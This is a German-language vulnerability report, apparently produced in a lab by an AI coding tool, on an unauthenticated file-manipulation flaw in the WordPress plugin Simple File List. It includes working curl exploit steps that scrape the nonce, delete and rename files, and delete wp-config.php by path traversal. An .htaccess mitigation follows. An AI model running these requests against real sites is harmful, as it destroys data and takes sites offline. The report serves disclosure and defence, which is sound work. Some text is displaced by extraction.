
Fehlende Autorisierung zu nicht authentifizierter Dateiänderung
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-11912 |
| CVSS-Score | 7.5 (Hoch) |
| CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Betroffenes Plugin | Simple File List |
| Betroffene Versionen | <= 6.3.7 |
| Patch-Version | 6.3.8 |
| Veröffentlicht | 19. Juni 2026 |
| Entdecker | Chloe Chamberland - Wordfence |
| Laborumgebung | poloss-lab.ddev.site (DDEV) |
Das Simple File List Plugin für WordPress ist aufgrund unzureichender Autorisierungsprüfungen in allen Versionen bis einschließlich 6.3.7 anfällig für beliebige Dateimanipulation. Dadurch ist es nicht authentifizierten Angreifern möglich, Dateien auf dem Server zu löschen und zu modifizieren.
Die Schwachstelle besteht aus folgenden Gründen:
AJAX-Endpunkt-Registrierung: Die AJAX-Aktion simplefilelist_edit_job wird sowohl mit den wp_ajax_- als auch mit den wp_ajax_nopriv_-Hooks registriert, was nicht authentifizierten Zugriff ermöglicht:
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
Fehlerhafte Autorisierungsprüfung: Die Autorisierungslogik in eeSFL_FileEditor() (Zeile 1265) verwendet:
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
Die Funktion is_admin() gibt bei AJAX-Anfragen FALSE zurück, sodass die Autorisierungsprüfung kurzgeschlossen wird, bevor die Einstellung AllowFrontManage ausgewertet wird.
Nonce-Exposition: Der Sicherheits-Nonce (eeSFL_ActionNonce) wird mittels erzeugt und im HTML-Quellcode der Frontend-Seite offengelegt, sodass Angreifer ihn ohne Authentifizierung extrahieren können.
Während der Tests wurde diese Schwachstelle erfolgreich ausgenutzt, um die WordPress-Konfigurationsdatei (wp-config.php) zu LÖSCHEN, was die Website vollständig unbrauchbar machte. Dies zeigt die kritische Schwere des Path-Traversal-Aspekts dieser Schwachstelle.
# Den Sicherheits-Nonce von der Dateilistenseite abrufen
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Ausgabe: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# Antwort: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# Antwort: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# Antwort: SUCCESS (KRITISCH – Dadurch wird die Website unbrauchbar!)
[eeSFL]-Shortcode entfernen# AJAX-Aufrufe von simplefilelist_edit_job blockieren
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
Bericht erstellt von Claude Code – WordPress Security Testing Lab Datum: 20. Juni 2026
wp_create_nonce()